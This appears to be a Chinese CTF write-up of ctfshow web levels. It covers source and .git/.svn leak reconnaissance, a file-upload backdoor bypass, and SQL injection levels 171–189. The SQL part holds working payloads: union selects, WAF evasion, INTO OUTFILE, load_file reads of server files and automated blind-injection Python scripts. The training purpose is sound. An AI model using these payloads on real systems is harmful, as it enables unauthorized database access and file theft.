重金买了个号怎么可能不做呢???
好好学学Web了 真的很重要!

信息搜集 Web1~20

Web 1

F12

Web 2

没办法F12和右键了, 直接firefox开发者工具

Web 3

抓包, flag就在响应里

所以有时候没思路就抓抓包, 有可能有线索或者提示的

Web 4

robots.txt

所以没思路的时候就阿巴阿巴

Web 5

phps源码泄露

有时候试试phps读源码, 有惊喜哦

Web 6

也是源码泄露, 应该是备份压缩包
常见的名字有

1
2
3
4
5
6
7
'www.zip',
'www.bak',
'www.rar',
'www.7z',
'www.tar',
'www.tar.gz',
'www.txt'

Web 7

git泄露

漏洞成因:在运行git init初始化代码库的时候,会在当前目录下面产生一个.git的隐藏文件,用来记录代码的变更记录等等。在发布代码的时候,把.git这个目录没有删除,直接发布了。使用这个文件,可以用来恢复源代码。

一般来说就是.git泄露之后恢复源码什么的.

有时候还会需要用.git/config 中含有的access_token信息, 从而访问这个用户的其他仓库

有些时候访问.git会返回403, 这个时候就要试探的访问.git/config, 如果有内容返回, 就说明存在git泄露.

关于敏感目录泄露, 还有SVN泄露, HG泄露等等… 等以后遇到了再来总结

Web 8

SVN 泄露

SVN(subversion)是一个源代码版本管理软件. 同样的隐藏文件.SVN里面会有信息.

利用seay-svn获取服务器源码等信息

Web 9

vim备份文件泄露

当用户在用vim编辑文件但意外退出时, 会在当前目录下生成一个备份文件, 文件名格式为.文件名.swp

针对swp备份文件, 可以用vim -r命令恢复文件的内容.

Web 10

Cookies里面有内容

抓包分析的时候一般都会看看Cookies的

Web 11

域名解析
http://dbcha.com/ 里面查ctfshow.com的txt记录

顺便学习一下域名解析的类型

域名解析类型: A/CNAME/MX/NS/TXT/AAAA/SRV/显性URL/隐性URL

A记录:将域名指向一个IPv4地址(例如:10.10.10.10),需要增加A记录
CNAME记录:如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加CNAME记录
MX记录:建立电子邮箱服务,将指向邮件服务器地址,需要设置MX记录
NS记录:域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置NS记录
TXT记录:可任意填写(可为空),通常用做SPF记录(反垃圾邮件)使用
AAAA记录:将主机名(或域名)指向一个IPv6地址(例如:ff03:0:0:0:0:0:0:c1),需要添加AAAA记录
SRV记录:记录了哪台计算机提供了哪个服务。格式为:服务的名字.协议的类型(例如:_example-server._tcp)
显性URL:将域名指向一个http(s)协议地址,访问域名时,自动跳转至目标地址(例如:将www.net.cn显性转发到www.hichina.com后,访问www.net.cn时,地址栏显示的地址为:www.hichina.com)。
隐性URL:与显性URL类似,但隐性转发会隐藏真实的目标地址(例如:将www.net.cn隐性转发到www.hichina.com后,访问www.net.cn时,地址栏显示的地址仍然为:www.net.cn)。

Web 12

开始变得奇怪了

进去是一个购物网站, 抓包无果, 看了下robots.txt, 有提示/admin/
要输入账号密码, 账号就是admin, 密码是网站下面的那串数字

正常情况下没有人会这么干吧!
所以还是要多去看看一下可以搜集信息的地方, robotx.txt啥的

Web 13

拿到一个网站可以看看看看有哪些链接是可以跳转的(哪些是可以点击的)
网站下面有个document可以点, 进去以后里面有后台的地址和用户名密码.

Web 14

KindEditor PHP编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录

进入/editor/(这个得目录扫描吧… 利用上传图片遍历服务器根目录, 在网站目录下找到/nothinghere/fl000g.txt

Web 15

目录下有admin/
忘记密码需要填写密保
而网站下方有qq邮箱, 搜索qq可以知道密保答案

Web 16

考察PHP探针php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php 版本是雅黑PHP探针.

Web 17

利用ping 直接获得某个域名所对应的ip

Web 18

js代码审计, 找到游戏结果的判断就能找到线索

Web 19

AES加密, 但是Key iv mode padmode都在前端….
利用http://tool.chacuo.net/cryptaes解密即可

文件上传 web151 ~ web170

前端验证上传文件后缀名, 只需要抓包改一下文件名称就能上传后门了 通过ls找到flag.php , cat flag.php即可

sql注入 web171~ web253

web 171

语句:

1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

直接在本表内爆出所有数据即可, payload: id= 1' or 1 --+

web 172

语句$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

但是输出经过了过滤:

1
2
3
4
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

所以需要把返回出来的username改掉, 让他检查不出来, payload: 1' union select 1,password from ctfshow_user2 where username = 'flag' --+

web 173

语句:$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

1
2
3
4
5
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

这里直接对结果进行过滤, 需要让返回的结果不存在flag, 考虑将返回的结果全部转成十六进制

payload: 0' union select 1,hex(username),hex(password) from ctfshow_user3 where username = 'flag' --+

然后将返回的结果转成text即可, 但是出来flag的时候发现, 其实根本不需要转成16进制, 因为flag里根本就没有flag字样(ctfshow{3354c0bf-e7ab-4e26-9990-b5679766170d}), 所以直接0' union select 1,2,password from ctfshow_user3 where username = 'flag' --+ 也能出结果

web 174

语句: $sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

1
2
3
4
5
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

这下好了, 结果里连数字都不能出现了, hex(), base64()估计都不能用了, 想个办法把数字转成别的字符, replace(str1,str2,str3) 可以把str1中的str2替换成str3, 可以考虑用这个将所有数字换成大写字母(毕竟flag中是没有大写字母的, 没有找到sql用正则的方法, 只能把多个replace()套在一起了

payload:0' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J') from ctfshow_user4 where username = 'flag' --+

然后将返回的结果中的大写字母转回数字就行了

web 175

语句:$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

1
2
3
4
5
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

已经不能返回任何东西了, \x00~\x7f全部过滤掉了, 考虑文件的方式读取flag. 用INTO OUTFILE 可以将查询结果输出到某文件中, 在这里只需要输出到一个文件里就行了, 不过路径要记得写对var\www\html\

payload: 1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/res.txt'--+

结果就在res.txt里

web 176

开始有过滤了

语句:$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

只知道有过滤, 但不知道过滤了啥, 也没多想先试试1' or 1 --+就出flag了, 看群主的视频这题应该是大小写绕过

web 177

语句$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

一样是过滤, 继续尝试1' or 1 --+, 发现无结果, 应该是某些字符被过滤了. 这个时候因为不知道什么被过滤, 所以输入越少东西越能判断出过滤了什么.

先尝试1'--+ 发现无结果, 可能--+被过滤了, 尝试用# 也不行, 再试试%23, 发现可以绕过过滤

再尝试1' %23又是无结果,明显是空格被过滤了, 利用/**/注释绕过空格.

于是得到一个payload: 1'/**/or/**/1%23

web 178 179

依旧是过滤掉了空格, 但是/**/不能使用了, 则尝试用括号来绕过

payload:1'or(1)%23 简单粗暴

看了群主的视频发现还可以用%09来代替空格, 这个是制表符, 在sql中跟空格一样的作用

payload:1'%09or%091%23

然后在web 179里, %09也被过滤了, 第一个payload还是可以用的, 但还可以试试别的, 比如%0a %0b %0c等等, 把ascii码前面那几个字符都试一试, 试出%0c也是可以的

payload:1'%0cor%0c1%23

web 180

语句$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

跟前面的不同的是, 这次连%23都被过滤了, 可以说没办法注释掉后面的sql语句了, 只能通过闭合的方式使得语句不会出错

例如1'and'a'='a, 这样语句就会变成

1
select id,username,password from ctfshow_user where username !='flag' and id = '1'and'a'='a' limit 1

可以看到引号被成功的闭合, 结果也是有的. 但是, 想要查出flag还需要想办法使得username != 'flag'无效, 因username != 'flag'与后面的条件关系是and, 所以并不能通过他原本的语句中的id=id = 26找到flag(id=26是flag是因为前面的题目都是26), 所以需要构造一个新的与前面的条件的关系为or的条件来查找

所以考虑了1'or(1)and'a, 但是得到的结果却只有一行, 原因是因为语句中有个limit 1. 而原本语句中的id=1是可以查询出结果的, 这里不能让他查询出结果了, 而出来的结果又必须是flag那一条, 所以考虑将or括号中的条件改成id=26. 这样就成功构造出payload:0'or(id=26)and'a'='a

web 181

语句$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

web 180的payload中的字符串这题都没有过滤掉, 直接0'or(id=26)and'a'='a出结果

web 182

和web 181一样, 直接0'or(id=26)and'a'='a

web 183

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";

返回逻辑

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

查询结果

1
2
//返回用户表的记录总数
$user_count = 1;

结果只会返回结果的数量, 而且过滤掉了很多关键字. 看了下视频, 这里要用到正则+盲注, sql中的正则是用REGEXP’str’来匹配的, 例如select id from table where username REGXEP'admin' 就会查询符合正则式子的username字段的那一行

这里因为可以知道结果有几行, 也就意味着可以判断正则是否匹配, 由前面的题目可以知道flag的格式是ctfshow{xxxx-xxx-x-x-x}这种, 而且只有小写字母和数字, 所以考虑用脚本盲注, 从`ctfshow_user`where`pass`REGEXP'ctfshow{开始猜flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import re

url = 'http://aba2e256-aa5c-4cf3-849f-b4f6d61fb78d.chall.ctf.show:8080/select-waf.php'
Str = '0123456789abcdefghijklmnopqrstuvwxyz-}'
data = {
'tableName': "`ctfshow_user`where`pass`REGEXP'ctfshow{"
}
while True:
for i in Str:
Data = {
'tableName': data['tableName'] + i + "'"
}
resp = requests.post(url=url, data=Data)
if re.findall('\$user_count = (\d)',resp.content.decode())[0] == '1':
data['tableName'] += i
print(re.findall('\$user_count = (\d)',resp.content.decode())[0])
if i == '}':
exit()
break

跑完就得到flag了

web 184

查询语句

1
2
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

查询结果

1
2
//返回用户表的记录总数
$user_count = 0;

这题连where都过滤掉了, 还剩下一个可以用来设定条件的on, 如果要用on的, 需要用到多表联合查询JOIN, 在两个表(依旧是同一个表)中查询, 生成的临时表中就可以用on

不管是INNER JOIN还是LEFT JOIN或者是RIGHT JOIN都无所谓, 只需要猜flag正确的时候回显不同即可, 因为这题没有过滤掉空格, 构造payload:tableName=ctfshow_user as a inner join ctfshow_user as b on substr(b.pass,num,1)regexp(char(str)), 其中num就是flag的位数, str就是猜测的字符 , 因为知道flag前缀是ctfshow{, 所以从第9位开始猜就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import re

url = 'http://87deffe2-4291-41ac-b76b-1bcaf046e697.chall.ctf.show:8080/select-waf.php'
Str = '0123456789abcdefghijklmnopqrstuvwxyz-}'
data = {
'tableName': "ctfshow_user as a right join ctfshow_user as b on substr(b.pass,{},1)regexp(char({}))"
}
num = 9
flag = 'ctfshow{'
while True:
for i in Str:
Data = {
'tableName': data['tableName'].format(num, ord(i))
}
resp = requests.post(url=url, data=Data)
if re.findall('\$user_count = (\d*)', resp.content.decode())[0] == '43':
flag += i
print(flag)
if i == '}':
exit()
num += 1

web 185 186

在184的基础上过滤掉了数字, 也就是说payload里面不能出现数字, 可以用true+true+true….来构造想要的数字, 如99就是99个true相加, 利用这个继续写脚本得到flag

从Y4博客找到一张图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import re

url = 'http://2f2306e9-b139-4243-b9be-ff87dacd631c.chall.ctf.show:8080/select-waf.php'
Str = '0123456789abcdefghijklmnopqrstuvwxyz-}'
data = {
'tableName': "ctfshow_user as a right join ctfshow_user as b on substr(b.pass,{},true)regexp(char({}))"
}
num = 9
flag = 'ctfshow{'

while True:
for i in Str:
Data = {
'tableName': data['tableName'].format((num*'true+')[:-1], (ord(i)*'true+')[:-1])
}
resp = requests.post(url=url, data=Data)
if re.findall('\$user_count = (\d*)', resp.content.decode())[0] == '43':
flag += i
print(flag)
if i == '}':
exit()
num += 1

web 187

以前做过的md5($password,true) 可以去看看 jarvis oj - login, 一个很神奇的字符串ffifdyop

1
$sql = "select count(*) from ctfshow_user where username = $_POST['username'] and password= md5($_POST['password'],true)"; 

md5('ffifdyop',true) = "'or'6xxxxxxx"

web 188

先pass , 有点奇怪

web 189

查询语句

1
2
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

hint: flag在api/index.php文件中

学习到了一些sql注入可能用到的函数:

  1. if(exp1,exp2,exp3), 当exp1TRUE时函数返回exp2, 反之返回exp3, 可搭配一些字符串比较函数来进行盲注
  2. load_file(file_name), 读取一个文件并将其内容作为字符串返回, 用于读取外部文件
  3. locate(substr,str), 返回字符串str第一次出现子串substr的位置
  4. strcmp(str1,str2),如果这两个字符串相等返回0,如果第一个参数是根据当前的排序顺序比第二较小则返回-1,否则返回1

hint已经告诉了我们flag在文件index.php中, 要在sql中读取文件, 可以使用load_file(), 所以要在username ={$username}处执行load_file()且判断出flag是啥.

注意到$username没有被引号包着, 所以如果$username是语句是可以执行的.

这里要用if()和一些字符串你处理的函数来对flag进行盲注.

username=1&password=0时返回的是查询失败而当username=0&password=0时返回的是密码错误, 可以根据这个回显来对flag进行判断.

首先, 先找到flag在文件中的位置, 因为前缀是ctfshow{ ,所以根据这个来找到flag的位置.

1
2
3
4
5
6
7
8
9
10
11
12
13
def findindex():
Index = 1
url = 'http://67064451-541b-444f-8c0e-c71be0d43b7f.chall.ctf.show:8080/api/'
while True:
data = {
'username': "if(locate('ctfshow{'," + "load_file('/var/www/html/api/index.php'))>{},0,1)".format(Index),
'password': '0'
}
resp = requests.post(url=url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in resp.content.decode():
Index += 1
else:
return Index + 8

然后根据上面得到的flag的起始位置开始猜flag, 最终脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

url = 'http://67064451-541b-444f-8c0e-c71be0d43b7f.chall.ctf.show:8080/api/'
Str = '0123456789abcdefghijklmnopqrstuvwxyz-}'
flag = 'ctfshow{'


def findindex():
Index = 1
while True:
data = {
'username': "if(locate('ctfshow{'," + "load_file('/var/www/html/api/index.php'))>{},0,1)".format(Index),
'password': '0'
}
resp = requests.post(url=url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in resp.content.decode():
Index += 1
else:
return Index + 8


Index = findindex()

while True:
for i in Str:
data = {
'username': "if(strcmp('{}',substr(load_file('/var/www/html/api/index.php'),{},1))=0,0,1)".format(i, Index),
'password': '0'
}
resp = requests.post(url=url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in resp.content.decode():
flag += i
Index += 1
print(flag)
if i == '}':
exit()